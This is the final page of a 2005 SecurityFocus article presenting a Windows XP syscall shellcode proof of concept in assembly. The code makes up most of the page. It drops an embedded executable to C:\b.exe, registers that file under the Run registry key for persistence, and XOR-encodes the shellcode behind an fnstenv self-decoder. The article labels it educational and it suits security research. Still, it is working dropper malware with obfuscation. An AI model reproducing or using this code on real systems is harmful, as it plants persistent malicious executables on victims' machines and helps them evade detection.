Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista
      Digg this story   Add to del.icio.us   (page 3 of 3 ) previous 
Windows Syscall Shellcode
Piotr Bania 2005-08-04

Article continued from Page 2

If you experience formatting issues with the code as listed below, an archive of this proof of concept is available for download from SecurityFocus.

The shellcode - Proof Of Concept
comment $

            -----------------------------------------------
            WinNT (XP) Syscall Shellcode - Proof Of Concept
            -----------------------------------------------
            Written by: Piotr Bania 
                        http://pb.specialised.info

$

include         my_macro.inc
include         io.inc

; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.

FILE_PATH                       equ     "\??\C:\b.exe",0           ; dropper
SHELLCODE_DROP                  equ     "D:\asm\shellcodeXXX.dat"  ; where to drop
                                                                    ; shellcode
REG_PATH                        equ     "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0

; ------------------------------------------------------------------------------------


KEY_ALL_ACCESS                  equ     0000f003fh          ; const value

_S_NtCreateFile                 equ     000000025h          ; syscall numbers  for
_S_NtWriteFile                  equ     000000112h          ; Windows XP SP1
_S_NtClose                      equ     000000019h
_S_NtCreateSection              equ     000000032h
_S_NtCreateKey                  equ     000000029h
_S_NtSetValueKey                equ     0000000f7h
_S_NtTerminateThread            equ     000000102h
_S_NtTerminateProcess           equ     000000101h                     


@syscall                        macro fn, param             ; syscall implementation
                                local b, r                  ; for Windows XP
                                push fn
                                pop  eax
                                push eax ; makes no diff
                                call b
                             b: add [esp],(offset r - offset b)
                                mov edx, esp
                                db 0fh, 34h
                             r: add esp, (param*4)
                                endm



path                            struc                       ; some useful structs
                                p_path dw MAX_PATH dup (?)  ; converted from C headers
path                            ends


object_attributes               struc
                                oa_length               dd      ?
                                oa_rootdir              dd      ?
                                oa_objectname           dd      ?
                                oa_attribz              dd      ?
                                oa_secdesc              dd      ?
                                oa_secqos               dd      ?
object_attributes               ends


pio_status_block                struc
                                psb_ntstatus            dd      ?
                                psb_info                dd      ?
pio_status_block                ends


unicode_string struc
                                us_length               dw      ?
                                                        dw      ?
                                us_pstring              dd      ?
unicode_string ends




        call crypt_and_dump_sh                               ; xor and dump shellcode


sc_start                 proc

        local   u_string                   :unicode_string   ; local variables
        local   fpath                      :path             ; (stack based)
        local   rpath                      :path
        local   obj_a                      :object_attributes
        local   iob                        :pio_status_block
        local   fHandle                    :DWORD
        local   rHandle                    :DWORD


        sub     ebp,500                                      ; allocate space on stack
        push    FILE_PATH_ULEN                               ; set up unicode string
        pop     [u_string.us_length]                         ; length
        push    255                                          ; set up unicode max string
        pop     [u_string.us_length+2]                       ; length
        lea     edi,[fpath]                                  ; EDI = ptr to unicode file
        push    edi                                          ; path
        pop     [u_string.us_pstring]                        ; set up the unciode entry


        call    a_p1                                         ; put file path address
a_s:    db                              FILE_PATH            ; on stack
        FILE_PATH_LEN                   equ     $ - offset a_s
        FILE_PATH_ULEN                  equ     18h

a_p1:   pop     esi                                          ; ESI = ptr to file path
        push    FILE_PATH_LEN                                ; (ascii one)
        pop     ecx                                          ; ECX = FILE_PATH_LEN
        xor     eax,eax                                      ; EAX = 0

a_lo:   lodsb                                                ; begin ascii to unicode
        stosw                                                ; conversion do not forget
        loop    a_lo                                         ; to do sample align

        lea     edi,[obj_a]                                  ; EDI = object attributes st.
        lea     ebx,[u_string]                               ; EBX = unicode string st.
        push    18h                                          ; sizeof(object attribs)
        pop     [edi.oa_length]                              ; store
        push    ebx                                          ; store the object name
        pop     [edi.oa_objectname]
        push    eax                                          ; rootdir = NULL
        pop     [edi.oa_rootdir]
        push    eax                                          ; secdesc = NULL
        pop     [edi.oa_secdesc]
        push    eax                                          ; secqos  = NULL
        pop     [edi.oa_secqos]
        push    40h                                          ; attributes value = 40h
        pop     [edi.oa_attribz]


        lea     ecx,[iob]                                    ; ECX = io status block
        push    eax                                          ; ealength = null
        push    eax                                          ; eabuffer = null
        push    60h                                          ; create options
        push    05h                                          ; create disposition
        push    eax                                          ; share access = NULL
        push    80h                                          ; file attributes
        push    eax                                          ; allocation size = NULL
        push    ecx                                          ; io status block        
        push    edi                                          ; object attributes
        push    0C0100080h                                   ; desired access
        lea     esi,[fHandle]
        push    esi                                          ; (out) file handle
        @syscall _S_NtCreateFile, 11                         ; execute syscall

        lea     ecx,[iob]                                    ; ecx = io status block
        push    eax                                          ; key = null
        push    eax                                          ; byte offset = null
        push    main_exploit_s                               ; length of data
        call    a3                                           ; ptr to dropper body

s1:                                     include msgbin.inc   ; dopper data
main_exploit_s                          equ     $ - offset s1

a3:     push    ecx                                          ; io status block
        push    eax                                          ; apc context = null
        push    eax                                          ; apc routine = null
        push    eax                                          ; event = null
        push    dword ptr [esi]                              ; file handle
        @syscall _S_NtWriteFile, 9                           ; execute the syscall


        mov     edx,edi                                      ; edx = object attributes
        lea     edi,[rpath]                                  ; edi = registry path
        push    edi                                          ; store the pointer
        pop     [u_string.us_pstring]                        ; into unicode struct
        push    REG_PATH_ULEN                                ; store new path len
        pop     [u_string.us_length]

        call    a_p2                                         ; store the ascii reg path
a_s1:   db                              REG_PATH             ; pointer on stack
        REG_PATH_LEN                    equ     $ - offset a_s1
        REG_PATH_ULEN                   equ     7eh

a_p2:   pop     esi                                          ; esi ptr to ascii reg path
        push    REG_PATH_LEN
        pop     ecx                                          ; ECX = REG_PATH_LEN

a_lo1:  lodsb                                                ; little ascii 2 unicode
        stosw                                                ; conversion
        loop a_lo1

        push    eax                                          ; disposition = null
        push    eax                                          ; create options = null
        push    eax                                          ; class = null
        push    eax                                          ; title index = null
        push    edx                                          ; object attributes struct
        push    KEY_ALL_ACCESS                               ; desired access
        lea     esi,[rHandle]
        push    esi                                          ; (out) handle
        @syscall _S_NtCreateKey,6

        lea     ebx,[fpath]                                  ; EBX = file path
        lea     ecx,[fHandle]                                ; ECX = file handle
        push    eax                                         
        pop     [ecx]                                        ; nullify file handle

        push    FILE_PATH_ULEN - 8                           ; push the unicode len
                                                             ; without 8 (no '\??\')
        push    ebx                                          ; file path
        add     [esp],8                                      ; without '\??'
        push    REG_SZ                                       ; type
        push    eax                                          ; title index = NULL
        push    ecx                                          ; value name = NULL = default
        push    dword ptr [esi]                              ; key handle
        @syscall _S_NtSetValueKey,6                          ; set they key value

        dec     eax
        push    eax                                          ; exit status code
        push    eax                                          ; process handle
                                                             ; -1 current process
        @syscall _S_NtTerminateProcess,2                     ; maybe you want
                                                             ; TerminateThread instead?


ssc_size                               equ $ -offset sc_start

sc_start               endp



exit:
        push 0
        @callx ExitProcess



crypt_and_dump_sh:                                           ; this gonna' xor
                                                             ; the shellcode and
        mov     edi,(offset sc_start - 1)                    ; add the decryptor
        mov     ecx,ssc_size                                 ; finally shellcode file
                                                             ; will be dumped
xor_loop:
        inc     edi
        xor     byte ptr [edi],96h
        loop    xor_loop


        _fcreat SHELLCODE_DROP,ebx                           ; some of my old crazy
        _fwrite ebx,sh_decryptor,sh_dec_size                 ; io macros
        _fwrite ebx,sc_start,ssc_size
        _fclose ebx

        jmp exit



sh_decryptor:                                                ; that's how the decryptor
        xor ecx,ecx                                          ; looks like
        mov cx,ssc_size

        fldz
sh_add: fnstenv [esp-12]                                     ; fnstenv decoder
        pop edi
        add edi,sh_dec_add

sh_dec_loop:
        inc edi
        xor byte ptr [edi],96h
        loop sh_dec_loop

sh_dec_add                              equ ($ - offset sh_add) + 1
sh_dec_size                             equ $ - offset sh_decryptor


end start

Final words

The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.

Further reading

  1. "Inside the Native API" by Mark Russinovich
  2. "MSDN" from Microsoft
  3. Interactive Win32 syscall page from Metasploit

About the author

Piotr Bania is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.


SecurityFocus accepts Infocus article submissions from members of the security community. Articles are published based on outstanding merit and level of technical detail. Full submission guidelines can be found at http://www.securityfocus.com/static/submissions.html.
    Digg this story   Add to del.icio.us   (page 3 of 3 ) previous 
Comments Mode:







 

Privacy Statement
Copyright 2008, SecurityFocus